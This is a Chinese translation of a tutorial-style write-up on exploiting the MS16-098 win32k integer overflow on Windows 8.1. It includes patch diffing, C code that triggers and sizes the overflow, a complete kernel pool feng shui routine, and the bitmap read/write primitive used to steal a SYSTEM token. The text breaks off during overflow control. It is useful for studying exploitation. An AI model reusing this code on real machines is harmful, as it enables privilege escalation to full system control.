精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

從MS16-098看Windows 8.1內(nèi)核漏洞利用

安全 漏洞
本文主要講的內(nèi)容是找到一個(gè)目前還沒(méi)有可用exploit的可利用漏洞的補(bǔ)丁,從它開(kāi)始我的逆向工程以及利用的旅途。

前言

在我剛開(kāi)始接觸內(nèi)核漏洞時(shí)我沒(méi)有任何有關(guān)內(nèi)核的經(jīng)驗(yàn),更不用說(shuō)去利用內(nèi)核漏洞了,但我總是對(duì)于逆向工程和漏洞利用技術(shù)非常感興趣。

最初,我的想法很簡(jiǎn)單:找到一個(gè)目前還沒(méi)有可用exploit的可利用漏洞的補(bǔ)丁,從它開(kāi)始我的逆向工程以及利用的旅途。這篇文章里談及的漏洞不是我的最早選的那個(gè):那個(gè)測(cè)試失敗了。這實(shí)際上是我的第二選擇,我花費(fèi)了4個(gè)月的時(shí)間來(lái)了解有關(guān)這個(gè)漏洞的一切。

我希望這篇博客可以幫到那些渴望了解逆向工程和exploit開(kāi)發(fā)的人。這是一個(gè)漫長(zhǎng)的過(guò)程,而我又是一個(gè)內(nèi)核exploit開(kāi)發(fā)方面的新手,所以我希望你在閱讀這篇文章時(shí)能夠保持耐心。

Windows 8.1

使用的工具

Expand.exe (用于MSU文件)

Virtual KD http://virtualkd.sysprogs.org/(他們說(shuō)自己比正常的內(nèi)核調(diào)試要快上45倍是真的)

Windbg (kd)

IDA professional. https://www.hex-rays.com/products/ida/

Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html

Expand.exe的使用

Expand.exe可以用來(lái)從微軟更新文件(MSU)和CAB文件中提取文件。

使用以下命令更新和提取CAB文件到指定目錄:

  1. Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO]  
  2. Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO] 

Expand.exe

如果命令后面接地址,會(huì)根據(jù)符號(hào)定義的結(jié)構(gòu)進(jìn)行dump

http://p0.qhimg.com/t0105d3b7450d3adcdc.png

!pool,!poolfind和!poolused命令在我分析內(nèi)核池溢出,進(jìn)行內(nèi)核池風(fēng)水時(shí)幫了我很多。

一些有用的例子:

要dump指定地址的內(nèi)核池頁(yè)面布局,我們可以使用以下命令:

  1. kd> !poolused [POOLTYPE] [POOLTAG] 

http://p0.qhimg.com/t012e0d5fd7e524b0e0.png

要檢索指定池類型中的指定池標(biāo)記的對(duì)象的分配數(shù)量:

  1.      
  2. kd> !poolused [POOLTYPE] [POOLTAG] 

要為指定的池標(biāo)記搜索提供的池類型的完整分配的內(nèi)核池地址空間。

  1. kd> !poolfind [POOLTAG] [POOLTYPE] 

為指定的池標(biāo)記搜索提供的池類型的完整分配的內(nèi)核池地址空間

Windbg使用技巧

相比其他調(diào)試器我個(gè)人更喜歡Windbg,因?yàn)樗С忠恍┖苡杏玫拿睿貏e是對(duì)于內(nèi)核調(diào)試來(lái)說(shuō)。

  1. kd> dt [OBJECT SYMBOL NAME] [ADDR] 

dt命令使用符號(hào)表定義的結(jié)構(gòu)來(lái)dump內(nèi)存,這在分析對(duì)象時(shí)非常有用,并且可以在對(duì)象的符號(hào)已導(dǎo)出時(shí)了解一些特殊的情況。

使用這個(gè)命令時(shí)如果不加地址那么會(huì)直接顯示這個(gè)對(duì)象的結(jié)構(gòu)。例如,要查看EPROCESS對(duì)象的結(jié)構(gòu),我們可以使用以下命令。

http://p2.qhimg.com/t01fa7d64ff05e6e17f.png

通過(guò)補(bǔ)丁對(duì)比來(lái)了解漏洞原理

下載好更新文件,我們打開(kāi)后發(fā)現(xiàn)被修改了的文件是win32k.sys,版本是6.3.9600.18405。當(dāng)與其舊版本6.3.9600.17393進(jìn)行二進(jìn)制對(duì)比時(shí),我們使用的是IDA的Zynamics BinDiff插件。可以發(fā)現(xiàn)一個(gè)發(fā)生了更改的有趣函數(shù)的相似性評(píng)級(jí)是0.98。存在漏洞的函數(shù)是win32k!bFill。下面是兩個(gè)版本之中的區(qū)別。

win32k.sys兩個(gè)版本之中的區(qū)別

diff快速的展示出了一個(gè)整數(shù)溢出漏洞是如何通過(guò)加入一個(gè)UlongMult3函數(shù)來(lái)修補(bǔ)的,這個(gè)函數(shù)通過(guò)相乘來(lái)檢測(cè)整數(shù)溢出。如果結(jié)果溢出了對(duì)象類型(即ULONG),則返回錯(cuò)誤“INTSAFE_E_ARITHMETIC_OVERFLOW”。

這個(gè)函數(shù)被添加在調(diào)用PALLOCMEM2之前,PALLOCMEM2使用了一個(gè)經(jīng)過(guò)檢查的參數(shù)[rsp + Size]。這確認(rèn)了這個(gè)整數(shù)溢出將導(dǎo)致分配小尺寸的對(duì)象; 那么問(wèn)題是——這個(gè)值可以被用戶通過(guò)某種方式控制嗎?

當(dāng)面臨一個(gè)復(fù)雜問(wèn)題的時(shí)候,建議先將它分解為更小的問(wèn)題。 因?yàn)閮?nèi)核漏洞利用是一個(gè)大問(wèn)題,所以一步一步進(jìn)行似乎是一種好方法。步驟如下:

  1. 擊中存在漏洞的函數(shù)
  2. 控制分配的大小
  3. 內(nèi)核內(nèi)存池(pool)Feng Shui技術(shù)
  4. 利用GDI位圖對(duì)象(Bitmap GDI objects)
  5. 分析并且控制溢出
  6. 修復(fù)溢出的頭部
  7. 從SYSTEM進(jìn)程的內(nèi)核進(jìn)程對(duì)象(EPROCESS)中偷取表示權(quán)限的Token
  8. 成功得到SYSTEM權(quán)限

Step 1 –觸發(fā)漏洞函數(shù)

首先,我們需要了解如何通過(guò)查看IDA中的函數(shù)定義來(lái)?yè)糁新┒春瘮?shù)。可以看出,該函數(shù)在EPATHOBJ上起作用,并且函數(shù)名“bFill”說(shuō)明它與填充路徑有關(guān)。通過(guò)用谷歌搜索“msdn路徑填充”,我得到了BeginPath函數(shù)和示例程序。

  1. bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *) 

理論上來(lái)說(shuō),如果我們使用示例中的代碼,它應(yīng)該會(huì)擊中漏洞函數(shù)?

  1. // Get Device context of desktop hwnd 
  2. hdc = GetDC(NULL);  
  3. //begin the drawing path 
  4. BeginPath(hdc);  
  5. // draw a line between the supplied points. 
  6. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));  
  7. //End the path 
  8. EndPath(hdc); 
  9. //Fill Path 
  10. FillPath(hdc); 

好吧,這沒(méi)有實(shí)現(xiàn)。所以我在windbg中對(duì)每個(gè)函數(shù)的起始部分都添加了一個(gè)斷點(diǎn)。

  1. EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() 

再次運(yùn)行示例代碼,發(fā)現(xiàn)第一個(gè)函數(shù)被命中,然后不再繼續(xù)命中最后的函數(shù)是EngFastFill。為了不讓深入的逆向分析過(guò)程給讀者增加無(wú)聊的細(xì)節(jié),我們這里直接給出結(jié)論。簡(jiǎn)而言之,這個(gè)函數(shù)是一個(gè)switch case結(jié)構(gòu),將最終會(huì)調(diào)用bPaintPath,bBrushPath或bBrushPathN_8x8。到底調(diào)用哪個(gè)則取決于一個(gè)畫(huà)刷對(duì)象(brush object)關(guān)聯(lián)的hdc。上面的代碼甚至沒(méi)有執(zhí)行到switch case,它在之前就失敗了。我發(fā)現(xiàn)有四種設(shè)備上下文類型

  • 打印機(jī)
  • 顯示,它是默認(rèn)值
  • 信息
  • 內(nèi)存,它支持對(duì)位圖對(duì)象的繪制操作。

根據(jù)提供的信息,我嘗試將設(shè)備類型轉(zhuǎn)換為內(nèi)存(位圖)如下:

  1. // Get Device context of desktop hwnd 
  2. HDC hdc = GetDC(NULL); 
  3. // Get a compatible Device Context to assign Bitmap to 
  4. HDC hMemDC = CreateCompatibleDC(hdc); 
  5. // Create Bitmap Object 
  6. HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); 
  7. // Select the Bitmap into the Compatible DC 
  8. HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); 
  9. //Begin path 
  10. BeginPath(hMemDC); 
  11. // draw a line between the supplied points. 
  12. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));          
  13. // End the path 
  14. EndPath(hMemDC); 
  15. // Fill the path 
  16. FillPath(hMemDC); 

事實(shí)證明,這正是擊中漏洞函數(shù)bFill所需要做的。

  1. Step 2 – Controlling the Allocation Size: 

來(lái)看看分配部分的代碼

http://p6.qhimg.com/t01da76be150a04c444.png

在調(diào)用分配函數(shù)之前,首先檢查[rbx + 4](rbx是我們的第一個(gè)參數(shù),即EPATHOBJ)的值是否大于0x14.如果大于,則這個(gè)值被乘以3就是這里導(dǎo)致的整數(shù)溢出。

  1. lea ecx, [rax+rax*2]; 

溢出發(fā)生實(shí)際上有兩個(gè)原因:一是這個(gè)值被轉(zhuǎn)換到32位寄存器ecx中和二是[rax + rax * 2]意味著值被乘以3。通過(guò)一些計(jì)算,我們可以得出結(jié)論,要溢出這個(gè)函數(shù)的值需要是:

  1. 0xFFFFFFFF / 3 = 0x55555555 

任何大于上面的值都可以溢出32位的寄存器。

  1. 0x55555556 * 3 = 0x100000002 

然后,做完乘法的結(jié)果又向左移了4位,一般左移4位被認(rèn)為等同于乘以2 ^ 4。

  1. 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32位寄存器值) 

目前為止,仍然沒(méi)有結(jié)論如何去控制這個(gè)值,所以我決定閱讀更多關(guān)于使用PATH對(duì)象進(jìn)行Windows GDI利用的帖子,看看有沒(méi)有什么思路。我很巧合的看到了一篇博文,討論的是MS16-039的利用過(guò)程。這篇博文中討論的漏洞與我們當(dāng)前攻擊的目標(biāo)函數(shù)擁有相同的代碼,就好像有人在這兩個(gè)函數(shù)中復(fù)制粘貼代碼一樣。如果沒(méi)有這篇博客,那么我會(huì)花費(fèi)更多的時(shí)間在這上面,所以非常感謝你,NicoEconomou。

但是,人們會(huì)想當(dāng)然的認(rèn)為,可以直接從里面拿到一個(gè)偉大的指南,但實(shí)際上根本不是這樣。雖然這篇文章真的很有助于利用思路。但真正的價(jià)值是,對(duì)于一對(duì)不同的利用,和我這樣一個(gè)根本沒(méi)有內(nèi)核開(kāi)發(fā)和內(nèi)核利用經(jīng)驗(yàn)的人,我不得不深入到利用過(guò)程中的每個(gè)方面,并了解它的工作原理。就是說(shuō)——“授人以魚(yú)不如授人以漁”

我們繼續(xù),那個(gè)值是PATH對(duì)象中的point數(shù),并且可以通過(guò)多次調(diào)用PolylineTo函數(shù)來(lái)控制。觸發(fā)50字節(jié)分配的代碼是:

  1. //Create a Point array  
  2. static POINT points[0x3fe01]; 
  3. // Get Device context of desktop hwnd 
  4. HDC hdc = GetDC(NULL); 
  5. // Get a compatible Device Context to assign Bitmap to 
  6. HDC hMemDC = CreateCompatibleDC(hdc); 
  7. // Create Bitmap Object 
  8. HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); 
  9. // Select the Bitmap into the Compatible DC 
  10. HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); 
  11. //Begin path 
  12. BeginPath(hMemDC); 
  13. // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. 
  14. for (int j = 0; j < 0x156; j++) { 
  15.     PolylineTo(hMemDC, points, 0x3FE01); 
  16.     } 
  17. // End the path 
  18. EndPath(hMemDC); 
  19. // Fill the path 
  20. FillPath(hMemDC); 

通過(guò)以point數(shù)0x3FE01調(diào)用PolylineTo函數(shù)0x156次將產(chǎn)生

  1. 0x156 * 0x3FE01 = 0x5555556 

注意,這個(gè)數(shù)字小于前面計(jì)算產(chǎn)生的數(shù)字,原因是實(shí)際中當(dāng)該位左移4位時(shí),最低的半字節(jié)將被移出32位寄存器,而剩下的是小數(shù)。另一件值得一提的是,應(yīng)用程序?qū)⑾騪oint列表中添加一個(gè)額外的point,因此傳遞給溢出指令的數(shù)字將為0x5555557。讓我們計(jì)算一下,看看它會(huì)如何工作。

  1. 0x5555557 * 0x3 = 0x10000005  
  2. 0x10000005 << 44 = 0x00000050 

到那時(shí)候,將會(huì)分配50字節(jié)大小,應(yīng)用程序?qū)L試復(fù)制0x5555557大小的數(shù)據(jù)到那一小塊內(nèi)存,這將迅速導(dǎo)致一個(gè)藍(lán)屏,并且我們成功的觸發(fā)了漏洞!

Step 3 – 內(nèi)核內(nèi)存池Feng Shui:

現(xiàn)在開(kāi)始困難的部分:內(nèi)核池風(fēng)水

內(nèi)核池風(fēng)水是一種用于控制內(nèi)存布局的技術(shù),通過(guò)分配和釋放內(nèi)存的調(diào)用在目標(biāo)對(duì)象分配之前,先使內(nèi)存處于確定的狀態(tài)。這種想法是想要強(qiáng)制我們的目標(biāo)對(duì)象分配在我們可控對(duì)象的附近,然后溢出相鄰的對(duì)象并使用發(fā)生溢出的對(duì)象來(lái)利用內(nèi)存破壞原語(yǔ)(譯注:所謂的“內(nèi)存破壞原語(yǔ)”,指的應(yīng)該是一些可以被利用的指令,比如mov [eax],xxx 可以進(jìn)行寫(xiě)),獲得讀/寫(xiě)內(nèi)核內(nèi)存的能力。我選擇的對(duì)象是Bitmap,具有池標(biāo)簽Gh05(pool tag),他會(huì)被分配給相同的頁(yè)會(huì)話池,并且可以使用SetBitmapBits/GetBitmapBits來(lái)控制寫(xiě)/讀到任意位置。

發(fā)生崩潰是因?yàn)樵赽Fill函數(shù)結(jié)束時(shí),會(huì)釋放分配的對(duì)象,當(dāng)對(duì)象被釋放時(shí),內(nèi)核會(huì)驗(yàn)證內(nèi)存池中相鄰塊的塊頭部。如果它被損壞,將拋出錯(cuò)誤BAD_POOL_HEADER并退出。由于我們溢出了相鄰的頁(yè)面,所以這個(gè)檢查將會(huì)失敗,并且會(huì)發(fā)生藍(lán)屏。

避開(kāi)這個(gè)檢查導(dǎo)致的崩潰的竅門(mén)是強(qiáng)制我們的對(duì)象分配在內(nèi)存頁(yè)的結(jié)尾。這樣,將不會(huì)有下一個(gè)塊,并且對(duì)free()的調(diào)用將正常傳遞。要實(shí)現(xiàn)這個(gè)FengShui需要記住以下幾點(diǎn):

  • 內(nèi)核池頁(yè)面大小為0x1000字節(jié),任何更大的分配將分配到大內(nèi)核池(Large kernel Pool)。
  • 任何大于0x808字節(jié)的分配都會(huì)被分配到內(nèi)存頁(yè)的開(kāi)始。
  • 后續(xù)分配將從內(nèi)存頁(yè)末尾開(kāi)始分配。
  • 分配需要相同的池類型,在我們的情況下是分頁(yè)會(huì)話池(Paged)。
  • 分配對(duì)象通常會(huì)添加大小為0x10的池頭。 如果分配的對(duì)象是0x50,分配器將實(shí)際分配0x60,包括池頭。

有了這些,就可以開(kāi)發(fā)內(nèi)核池風(fēng)水了,來(lái)看看這將如何工作,看看漏洞代碼:

  1. void fungshuei() { 
  2.     HBITMAP bmp; 
  3.     // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. 
  4.     for (int k = 0; k < 5000; k++) { 
  5.         bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670  = 0xf80 1685 = 0xf90 allocation size 0xfa0 
  6.         bitmaps[k] = bmp; 
  7.     } 
  8.     HACCEL hAccel, hAccel2; 
  9.     LPACCEL lpAccel; 
  10.     // Initial setup for pool fengshui.   
  11.     lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); 
  12.     SecureZeroMemory(lpAccel, sizeof(ACCEL)); 
  13.     // Allocating  7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. 
  14.     HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
  15.     HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
  16.     for (INT i = 0; i < 7000; i++) { 
  17.         hAccel = CreateAcceleratorTableA(lpAccel, 1); 
  18.         hAccel2 = CreateAcceleratorTableW(lpAccel, 1); 
  19.         pAccels[i] = hAccel; 
  20.         pAccels2[i] = hAccel2; 
  21.     } 
  22.     // Delete the allocated bitmaps to free space at beginning of pages 
  23. for (int k = 0; k < 5000; k++) { 
  24.         DeleteObject(bitmaps[k]); 
  25.     } 
  26.     //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. 
  27.     for (int k = 0; k < 5000; k++) { 
  28.         CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 
  29.     } 
  30.     // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated 
  31.     for (int k = 0; k < 5000; k++) { 
  32.         bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0 
  33.         bitmaps[k] = bmp; 
  34.     } 
  35.     // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 
  36.     for (int k = 0; k < 1700; k++) { //1500 
  37.         AllocateClipBoard2(0x30); 
  38.     } 
  39.     // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. 
  40.     for (int k = 2000; k < 4000; k++) { 
  41.         DestroyAcceleratorTable(pAccels[k]); 
  42.         DestroyAcceleratorTable(pAccels2[k]); 
  43.     } 

可以清楚地看到分配/解除分配的流量,GIF值得一千字

分配/解除分配的流量

通過(guò)分配/釋放調(diào)用,顯示實(shí)際發(fā)生的事情,內(nèi)核風(fēng)水的第一步是:

  1. HBITMAP bmp; 
  2.         // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. 
  3.         for (int k = 0; k < 5000; k++) { 
  4.                 bmp = CreateBitmap(1670, 2, 1, 8, NULL);  
  5.                 bitmaps[k] = bmp; 
  6.         } 

從5000個(gè)大小為0xf80的Bitmap對(duì)象的分配開(kāi)始。這將最終開(kāi)始分配新的內(nèi)存頁(yè)面,每個(gè)頁(yè)面將以大小為0xf80的Bitmap對(duì)象開(kāi)始,并在頁(yè)面結(jié)尾留下0x80字節(jié)的空間。如果想要檢查噴射是否工作,我們可以在bFill內(nèi)調(diào)用PALLOCMEM,并使用poolused 0x8 Gh?5來(lái)查看分配了多少個(gè)位圖對(duì)象。另一件事是,如何計(jì)算提供給CreateBitmap()函數(shù)的大小轉(zhuǎn)換為由內(nèi)核分配的Bitmap對(duì)象。其實(shí)這只是一個(gè)近似的計(jì)算,需要不斷的嘗試和糾錯(cuò),通過(guò)不斷的更改位圖的大小,并使用poolfind命令查看分配的大小進(jìn)行修正。

  1. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. 
  2.        HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
  3.        HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
  4.        for (INT i = 0; i < 7000; i++) { 
  5.                hAccel = CreateAcceleratorTableA(lpAccel, 1); 
  6.                hAccel2 = CreateAcceleratorTableW(lpAccel, 1); 
  7.                pAccels[i] = hAccel; 
  8.                pAccels2[i] = hAccel2; 
  9.        } 

然后,分配7000個(gè)加速器表對(duì)象(Usac)。每個(gè)Usac的大小為0x40,因此其中有兩個(gè)將分配到剩下的0x80字節(jié)的內(nèi)存中。這將填充前面的分配輪次的剩余0x80字節(jié),并完全填充我們的頁(yè)面(0xf80 + 80 = 0x1000)。

  1. // Delete the allocated bitmaps to free space at beginning of pages 
  2.         for (int k = 0; k < 5000; k++) { 
  3.                 DeleteObject(bitmaps[k]); 
  4.         } 

下一次分配以前分配的對(duì)象將保留有我們的內(nèi)存頁(yè)布局,在頁(yè)的開(kāi)頭有0xf80個(gè)空閑字節(jié)。

  1. //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. 
  2.         for (int k = 0; k < 5000; k++) { 
  3.                 CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 
  4.         } 

分配5000個(gè)大小為0xbc0字節(jié)的區(qū)域?qū)ο?Gh04)。這個(gè)大小是必要的,因?yàn)槿绻鸅itmap對(duì)象直接放置在我們的目標(biāo)對(duì)象附近,溢出它就覆蓋不到Bitmap對(duì)象中的我們目標(biāo)的成員(在后面部分討論),而我們需要溢出這個(gè)目標(biāo)成員配合GetBitmapBits/SetBitmapBits來(lái)讀/寫(xiě)內(nèi)核內(nèi)存。至于如何計(jì)算分配的對(duì)象的大小與提供給CreateEllipticRgn函數(shù)的參數(shù)相關(guān),需要通過(guò)不斷的嘗試和修正來(lái)找到的。

對(duì)于feng shui來(lái)說(shuō),內(nèi)核頁(yè)面在頁(yè)的開(kāi)頭有0xbc0大小的Gh04對(duì)象,在頁(yè)的結(jié)尾有0x80字節(jié)。它們之中有0x3c0個(gè)字節(jié)的空閑空間。

  1. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated 
  2.         for (int k = 0; k < 5000; k++) { 
  3.                 bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0 
  4.                 bitmaps[k] = bmp; 
  5.         } 

分配大小5000個(gè)大小為0x3c0字節(jié)的位圖對(duì)象來(lái)填充被釋放的內(nèi)存,位圖對(duì)象是我們溢出的目標(biāo)。

  1. // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 
  2.         for (int k = 0; k < 1700; k++) { //1500 
  3.                 AllocateClipBoard2(0x30); 
  4.         } 

下一步是分配1700個(gè)大小為0x60的剪貼板對(duì)象(Uscb),這只是為了在分配我們的模板對(duì)象之前填充掉大小為0x60的任何內(nèi)存。這樣一來(lái)當(dāng)對(duì)象被分配時(shí),它幾乎肯定會(huì)落入我們的內(nèi)存布局之中。Nicolas使用這個(gè)對(duì)象進(jìn)行了內(nèi)核噴射,我沒(méi)有試圖模擬free或者syscall來(lái)做到這一點(diǎn),然而發(fā)現(xiàn)了一些比較古怪的行為,基本上是使用下面的代碼將東西復(fù)制到剪貼板:

  1. void AllocateClipBoard(unsigned int size) { 
  2.     BYTE *buffer; 
  3.     buffer = malloc(size); 
  4.     memset(buffer, 0x41, size); 
  5.     buffer[size-1] = 0x00; 
  6.     const size_t len = size
  7.     HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); 
  8.     memcpy(GlobalLock(hMem), buffer, len); 
  9.     GlobalUnlock(hMem); 
  10.     OpenClipboard(wnd); 
  11.     EmptyClipboard(); 
  12.     SetClipboardData(CF_TEXT, hMem); 
  13.     CloseClipboard(); 
  14.         GlobalFree(hMem); 

我發(fā)現(xiàn),如果你省略掉OpenCliboard,CloseClipBboard和EmptyClipboard直接調(diào)用SetClipboardData,那么這個(gè)對(duì)象會(huì)被分配,并且永遠(yuǎn)不會(huì)被釋放。我猜你多次調(diào)用后會(huì)發(fā)生內(nèi)存耗盡,但我并沒(méi)有進(jìn)行測(cè)試。此外,我所說(shuō)的對(duì)象不能被釋放,是指即使你使用EmptyCliBoard打開(kāi)和清空剪貼板,或者連續(xù)調(diào)用SetBitmapData和EmptyClipboad也不行。

  1. // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. 
  2.         for (int k = 2000; k < 4000; k++) { 
  3.                 DestroyAcceleratorTable(pAccels[k]); 
  4.                 DestroyAcceleratorTable(pAccels2[k]); 
  5.         } 

我們的內(nèi)核FengShui的最后一步就是在分配的加速器表對(duì)象(Usac)中打孔,正好創(chuàng)建2000個(gè)孔。內(nèi)核風(fēng)水函數(shù)也是在漏洞被觸發(fā)之前就要被調(diào)用的,如果一切順利的話我們的目標(biāo)對(duì)象將被分配到這些孔中的一個(gè),其位置在內(nèi)存頁(yè)的末尾。

http://p9.qhimg.com/t012b8db5e2bf7c3673.png

Step 4 – 利用Bitmap位圖對(duì)象:

位圖對(duì)象的結(jié)構(gòu)以SURFOBJ64作為起始,后面接著的是位圖數(shù)據(jù),這個(gè)對(duì)象有三個(gè)我們感興趣的成員,sizlBitmap,pvScan0和hdev。sizlBitmap是位圖的寬度和高度,pvScan0是指向位圖數(shù)據(jù)開(kāi)始的指針,hdev是指向設(shè)備句柄的指針。

  1. typedef struct { 
  2.   ULONG64 dhsurf; // 0x00 
  3.   ULONG64 hsurf; // 0x08 
  4.   ULONG64 dhpdev; // 0x10 
  5.   ULONG64 hdev; // 0x18 
  6.   SIZEL sizlBitmap; // 0x20 
  7.   ULONG64 cjBits; // 0x28 
  8.   ULONG64 pvBits; // 0x30 
  9.   ULONG64 pvScan0; // 0x38 
  10.   ULONG32 lDelta; // 0x40 
  11.   ULONG32 iUniq; // 0x44 
  12.   ULONG32 iBitmapFormat; // 0x48 
  13.   USHORT iType; // 0x4C 
  14.   USHORT fjBitmap; // 0x4E 
  15. } SURFOBJ64; // sizeof = 0x50 

我們利用位圖對(duì)象的方式是通過(guò)使用受控值來(lái)覆蓋sizlBitmap或pvScan0。SetBitmapBits/ GetBitmapBits要驗(yàn)證讀寫(xiě)的數(shù)據(jù)量,就是使用的這兩個(gè)對(duì)象成員,它表示了位圖可用數(shù)據(jù)的大小。例如,GetBitmapBits會(huì)計(jì)算位圖的寬度x高度x4(每像素每個(gè)字節(jié)32位,作為CreateBitmap的參數(shù)),來(lái)驗(yàn)證從pvScan0指向的地址可以讀取的數(shù)據(jù)量。

如果sizlBitmap的成員被更大的寬度和高度值覆蓋,那么它將可以擴(kuò)大位圖以讀取和寫(xiě)入數(shù)據(jù)。在這個(gè)漏洞中,例如,它是寬度0xFFFFFFFF×高度1×4。

如果溢出的數(shù)據(jù)可控,那么我們可以直接使用我們想要讀寫(xiě)的地址來(lái)設(shè)置pvScan0成員的值。

將第一個(gè)位圖的pvScan0設(shè)置為第二個(gè)位圖的pvScan0的地址。

使用第一個(gè)位圖作為管理器,將第二個(gè)位圖的pvScan0指針設(shè)置為指向我們要讀寫(xiě)的地址。

這樣,第二個(gè)位圖實(shí)際上就可以讀寫(xiě)這個(gè)地址了。

對(duì)這個(gè)漏洞來(lái)說(shuō),用于溢出堆的數(shù)據(jù)不是完全可控的,因?yàn)楸粡?fù)制的數(shù)據(jù)是大小為0x30字節(jié)的point或更特定的邊緣對(duì)象。幸運(yùn)的是,如下一節(jié)所示,被重寫(xiě)的一些數(shù)據(jù)可以被間接控制,并且將用值0x1和0xFFFFFFFF覆蓋掉sizlBitmap成員,這會(huì)擴(kuò)大位圖對(duì)象可以讀寫(xiě)的數(shù)據(jù)量。使用的流程如下。

1.觸發(fā)溢出并覆蓋相鄰位圖對(duì)象的sizlBitmap成員。

2.使用擴(kuò)展位圖作為管理器覆蓋第二個(gè)位圖的pvScan0成員。

3.使第二個(gè)位圖作為工作者,利用它讀寫(xiě)由第一個(gè)位圖設(shè)置的地址。

hdev成員的重要性將在下一節(jié)中詳細(xì)討論,主要是它要么會(huì)設(shè)置為0要么就設(shè)置為指向設(shè)備對(duì)象的指針。

Step 5 – 分析并控制溢出數(shù)據(jù):

現(xiàn)在該分析如何控制溢出了,為了更好地理解它,我們需要看看addEdgeToGet函數(shù),這個(gè)函數(shù)將point復(fù)制到新分配的內(nèi)存中。剛開(kāi)始時(shí),addEdgeToGet將r11和r10寄存器的值設(shè)置為[r9+4]和[r8+4]。

http://p5.qhimg.com/t01f064609974be2bd7.png

然后會(huì)進(jìn)行檢查,檢查上一個(gè)point.y是否小于[r9 + 0c],而這里是0x1f0。如果是這種情況的話,當(dāng)前point會(huì)被復(fù)制到我們的緩沖區(qū)中,如果不是則跳過(guò)當(dāng)前point。還需要注意的是point.y的值向左移動(dòng)了一些,例如如果前面的point.y = 0x20,則值將為0x200。

http://p6.qhimg.com/t014139bf9ef6a4b23b.png

現(xiàn)在我們有了控制溢出的原語(yǔ),我們還需要找出值0x1和0xFFFFFFFF是怎么被復(fù)制的。

當(dāng)前point.y值的ebp寄存器中減去r10中的前一個(gè)point.y值

在第一次檢查中,函數(shù)將從表示當(dāng)前point.y值的ebp寄存器中減去r10中的前一個(gè)point.y值。如果得到的結(jié)果是unsigned(譯注:js跳轉(zhuǎn)),它會(huì)將0xFFFFFFFF復(fù)制到rdx指向的緩沖區(qū)偏移0x28處。我們這里猜測(cè),這個(gè)函數(shù)是在檢查當(dāng)前point.y到前一個(gè)point.y的方向。

在第二次檢查中,對(duì)point.x也一樣,從表示當(dāng)前point.x的ebx上減去表示上一個(gè)point.x的r8,如果結(jié)果是無(wú)符號(hào)的,函數(shù)將復(fù)制0x1到我們r(jià)15指向的緩沖區(qū)的0x24偏移處。這個(gè)操作很有意義,因?yàn)樗鼘?duì)應(yīng)于上一個(gè)檢查時(shí)復(fù)制數(shù)據(jù)到0x28偏移處,而且我們的目的只是想溢出sizlBitmap結(jié)構(gòu)。對(duì)于大小為0x30字節(jié)的point結(jié)構(gòu),也會(huì)把1復(fù)制到由[r15 + 0x24]指向的對(duì)象的hdev成員中。

計(jì)算point的數(shù)量來(lái)溢出緩沖區(qū)以覆蓋sizLBitmap成員是比較容易的,并且該漏洞exploit的執(zhí)行方式是簡(jiǎn)單地將上一個(gè)point.y值篡改為更大的值。但是這將使前面提到的那些檢查失敗,從而使得這些point不會(huì)被復(fù)制。來(lái)看一下exploit中的代碼片段。

  1. static POINT points[0x3fe01]; 
  2. for (int l = 0; l < 0x3FE00; l++) { 
  3.     points[l].x = 0x5a1f
  4.     points[l].y = 0x5a1f
  5. points[2].y = 20; //0x14 < 0x1f 
  6. points[0x3FE00].x = 0x4a1f
  7. points[0x3FE00].y = 0x6a1f

這就是最初的point數(shù)組被初始化的過(guò)程,注意points[2].y的值設(shè)置為20,即十六進(jìn)制中的0x14,小于0x1f,因此將復(fù)制后續(xù)的points到我們分配的緩沖區(qū)中。

